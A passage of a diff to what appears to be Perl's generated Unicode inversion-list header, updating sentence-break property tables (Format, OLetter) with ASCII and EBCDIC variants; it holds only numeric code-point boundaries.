+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200E,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFF9E,
+	0xFFA0,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x1171D,
+	0x1172C,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__FO_invlist[] = { /* for ASCII/Latin1 */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAD,
+	0xAE,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__FO_invlist[] = { /* for EBCDIC 1047 */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__FO_invlist[] = { /* for EBCDIC 037 */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SB__LE_invlist[] = { /* for all charsets */
+	965,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C6,
+	0x2D2,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x374,
+	0x375,
+	0x559,
+	0x55A,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F4,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
 	0x6F0,
 	0x6FA,
 	0x6FD,
 	0x6FF,
 	0x700,
-	0x703,
-	0x70F,
 	0x710,
 	0x711,
 	0x712,
 	0x730,
-	0x74B,
 	0x74D,
 	0x7A6,
 	0x7B1,
 	0x7B2,
-	0x7C0,
 	0x7CA,
 	0x7EB,
 	0x7F4,
 	0x7F6,
-	0x7F8,
-	0x7F9,
 	0x7FA,
 	0x7FB,
 	0x800,
@@ -76647,17 +330166,14 @@
 	0x825,
 	0x828,
 	0x829,
-	0x82E,
 	0x840,
 	0x859,
-	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
-	0x8D4,
-	0x8E2,
-	0x8E3,
 	0x904,
 	0x93A,
 	0x93D,
@@ -76666,12 +330182,8 @@
 	0x951,
 	0x958,
 	0x962,
-	0x964,
-	0x966,
-	0x970,
 	0x971,
 	0x981,
-	0x984,
 	0x985,
 	0x98D,
 	0x98F,
@@ -76684,27 +330196,18 @@
 	0x9B3,
 	0x9B6,
 	0x9BA,
-	0x9BC,
 	0x9BD,
 	0x9BE,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
 	0x9CE,
 	0x9CF,
-	0x9D7,
-	0x9D8,
 	0x9DC,
 	0x9DE,
 	0x9DF,
 	0x9E2,
-	0x9E4,
-	0x9E6,
 	0x9F0,
 	0x9F2,
-	0xA01,
-	0xA04,
+	0x9FC,
+	0x9FD,
 	0xA05,
 	0xA0B,
 	0xA0F,
@@ -76719,27 +330222,12 @@
 	0xA37,
 	0xA38,
 	0xA3A,
-	0xA3C,
-	0xA3D,
-	0xA3E,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4E,
-	0xA51,
-	0xA52,
 	0xA59,
 	0xA5D,
 	0xA5E,
 	0xA5F,
-	0xA66,
-	0xA70,
 	0xA72,
 	0xA75,
-	0xA76,
-	0xA81,
-	0xA84,
 	0xA85,
 	0xA8E,
 	0xA8F,
@@ -76752,25 +330240,14 @@
 	0xAB4,
 	0xAB5,
 	0xABA,
-	0xABC,
 	0xABD,
 	0xABE,
-	0xAC6,
-	0xAC7,
-	0xACA,
-	0xACB,
-	0xACE,
 	0xAD0,
 	0xAD1,
 	0xAE0,
 	0xAE2,
-	0xAE4,
-	0xAE6,
-	0xAF0,
 	0xAF9,
 	0xAFA,
-	0xB01,
-	0xB04,
 	0xB05,
 	0xB0D,
 	0xB0F,
@@ -76783,26 +330260,14 @@
 	0xB34,
 	0xB35,
 	0xB3A,
-	0xB3C,
 	0xB3D,
 	0xB3E,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4E,
-	0xB56,
-	0xB58,
 	0xB5C,
 	0xB5E,
 	0xB5F,
 	0xB62,
-	0xB64,
-	0xB66,
-	0xB70,
 	0xB71,
 	0xB72,
-	0xB82,
 	0xB83,
 	0xB84,
 	0xB85,
@@ -76823,20 +330288,8 @@
 	0xBAB,
 	0xBAE,
 	0xBBA,
-	0xBBE,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCE,
 	0xBD0,
 	0xBD1,
-	0xBD7,
-	0xBD8,
-	0xBE6,
-	0xBF0,
-	0xC00,
-	0xC04,
 	0xC05,
 	0xC0D,
 	0xC0E,
@@ -76847,23 +330300,12 @@
 	0xC3A,
 	0xC3D,
 	0xC3E,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4E,
-	0xC55,
-	0xC57,
 	0xC58,
 	0xC5B,
 	0xC60,
 	0xC62,
-	0xC64,
-	0xC66,
-	0xC70,
 	0xC80,
 	0xC81,
-	0xC84,
 	0xC85,
 	0xC8D,
 	0xC8E,
@@ -76874,27 +330316,14 @@
 	0xCB4,
 	0xCB5,
 	0xCBA,
-	0xCBC,
 	0xCBD,
 	0xCBE,
-	0xCC5,
-	0xCC6,
-	0xCC9,
-	0xCCA,
-	0xCCE,
-	0xCD5,
-	0xCD7,
 	0xCDE,
 	0xCDF,
 	0xCE0,
 	0xCE2,
-	0xCE4,
-	0xCE6,
-	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
-	0xD04,
 	0xD05,
 	0xD0D,
 	0xD0E,
@@ -76903,24 +330332,14 @@
 	0xD3B,
 	0xD3D,
 	0xD3E,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
 	0xD4E,
 	0xD4F,
 	0xD54,
 	0xD57,
-	0xD58,
 	0xD5F,
 	0xD62,
-	0xD64,
-	0xD66,
-	0xD70,
 	0xD7A,
 	0xD80,
-	0xD82,
-	0xD84,
 	0xD85,
 	0xD97,
 	0xD9A,
@@ -76931,28 +330350,12 @@
 	0xDBE,
 	0xDC0,
 	0xDC7,
-	0xDCA,
-	0xDCB,
-	0xDCF,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDE0,
-	0xDE6,
-	0xDF0,
-	0xDF2,
-	0xDF4,
 	0xE01,
 	0xE31,
 	0xE32,
 	0xE34,
-	0xE3B,
 	0xE40,
 	0xE47,
-	0xE4F,
-	0xE50,
-	0xE5A,
 	0xE81,
 	0xE83,
 	0xE84,
@@ -76979,8 +330382,6 @@
 	0xEB1,
 	0xEB2,
 	0xEB4,
-	0xEBA,
-	0xEBB,
 	0xEBD,
 	0xEBE,
 	0xEC0,
@@ -76987,45 +330388,20 @@
 	0xEC5,
 	0xEC6,
 	0xEC7,
-	0xEC8,
-	0xECE,
-	0xED0,
-	0xEDA,
 	0xEDC,
 	0xEE0,
 	0xF00,
 	0xF01,
-	0xF18,
-	0xF1A,
-	0xF20,
-	0xF2A,
-	0xF35,
-	0xF36,
-	0xF37,
-	0xF38,
-	0xF39,
-	0xF3A,
-	0xF3E,
 	0xF40,
 	0xF48,
 	0xF49,
 	0xF6D,
-	0xF71,
-	0xF85,
-	0xF86,
 	0xF88,
 	0xF8D,
-	0xF98,
-	0xF99,
-	0xFBD,
-	0xFC6,
-	0xFC7,
 	0x1000,
 	0x102B,
 	0x103F,
 	0x1040,
-	0x104A,
-	0x104C,
 	0x1050,
 	0x1056,
 	0x105A,
@@ -77040,15 +330416,6 @@
 	0x1082,
 	0x108E,
 	0x108F,
-	0x1090,
-	0x109A,
-	0x109E,
-	0x10A0,
-	0x10C6,
-	0x10C7,
-	0x10C8,
-	0x10CD,
-	0x10CE,
 	0x10D0,
 	0x10FB,
 	0x10FC,
@@ -77083,26 +330450,14 @@
 	0x1316,
 	0x1318,
 	0x135B,
-	0x135D,
-	0x1360,
-	0x1362,
-	0x1363,
-	0x1367,
-	0x1369,
 	0x1380,
 	0x1390,
-	0x13A0,
-	0x13F6,
-	0x13F8,
-	0x13FE,
 	0x1401,
 	0x166D,
-	0x166E,
 	0x166F,
 	0x1680,
 	0x1681,
 	0x169B,
-	0x169D,
 	0x16A0,
 	0x16EB,
 	0x16EE,
@@ -77111,41 +330466,20 @@
 	0x170D,
 	0x170E,
 	0x1712,
-	0x1715,
 	0x1720,
 	0x1732,
-	0x1735,
-	0x1737,
 	0x1740,
 	0x1752,
-	0x1754,
 	0x1760,
 	0x176D,
 	0x176E,
 	0x1771,
-	0x1772,
-	0x1774,
 	0x1780,
 	0x17B4,
-	0x17D4,
 	0x17D7,
 	0x17D8,
 	0x17DC,
 	0x17DD,
-	0x17DE,
-	0x17E0,
-	0x17EA,
-	0x1802,
-	0x1803,
-	0x1804,
-	0x1808,
-	0x1809,
-	0x180A,
-	0x180B,
-	0x180E,
-	0x180F,
-	0x1810,
-	0x181A,
 	0x1820,
 	0x1878,
 	0x1880,
@@ -77158,12 +330492,6 @@
 	0x18F6,
 	0x1900,
 	0x191F,
-	0x1920,
-	0x192C,
-	0x1930,
-	0x193C,
-	0x1944,
-	0x1946,
 	0x1950,
 	0x196E,
 	0x1970,
@@ -77172,39 +330500,16 @@
 	0x19AC,
 	0x19B0,
 	0x19CA,
-	0x19D0,
-	0x19DA,
 	0x1A00,
 	0x1A17,
-	0x1A1C,
 	0x1A20,
 	0x1A55,
-	0x1A5F,
-	0x1A60,
-	0x1A7D,
-	0x1A7F,
-	0x1A80,
-	0x1A8A,
-	0x1A90,
-	0x1A9A,
 	0x1AA7,
 	0x1AA8,
-	0x1AAC,
-	0x1AB0,
-	0x1ABF,
-	0x1B00,
 	0x1B05,
 	0x1B34,
 	0x1B45,
 	0x1B4C,
-	0x1B50,
-	0x1B5A,
-	0x1B5C,
-	0x1B5E,
-	0x1B60,
-	0x1B6B,
-	0x1B74,
-	0x1B80,
 	0x1B83,
 	0x1BA1,
 	0x1BAE,
@@ -77211,23 +330516,12 @@
 	0x1BB0,
 	0x1BBA,
 	0x1BE6,
-	0x1BF4,
 	0x1C00,
 	0x1C24,
-	0x1C38,
-	0x1C3B,
-	0x1C3D,
-	0x1C40,
-	0x1C4A,
 	0x1C4D,
 	0x1C50,
 	0x1C5A,
 	0x1C7E,
-	0x1C80,
-	0x1C89,
-	0x1CD0,
-	0x1CD3,
-	0x1CD4,
 	0x1CE9,
 	0x1CED,
 	0x1CEE,
@@ -77234,13 +330528,1112 @@
 	0x1CF2,
 	0x1CF5,
 	0x1CF7,
-	0x1CF8,
-	0x1CFA,
+	0x2135,
+	0x2139,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x2189,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA66E,
+	0xA66F,
+	0xA67F,
+	0xA680,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA788,
+	0xA789,
+	0xA78F,
+	0xA790,
+	0xA7F7,
+	0xA7F8,
+	0xA7FB,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xABC0,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10450,
+	0x1049E,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
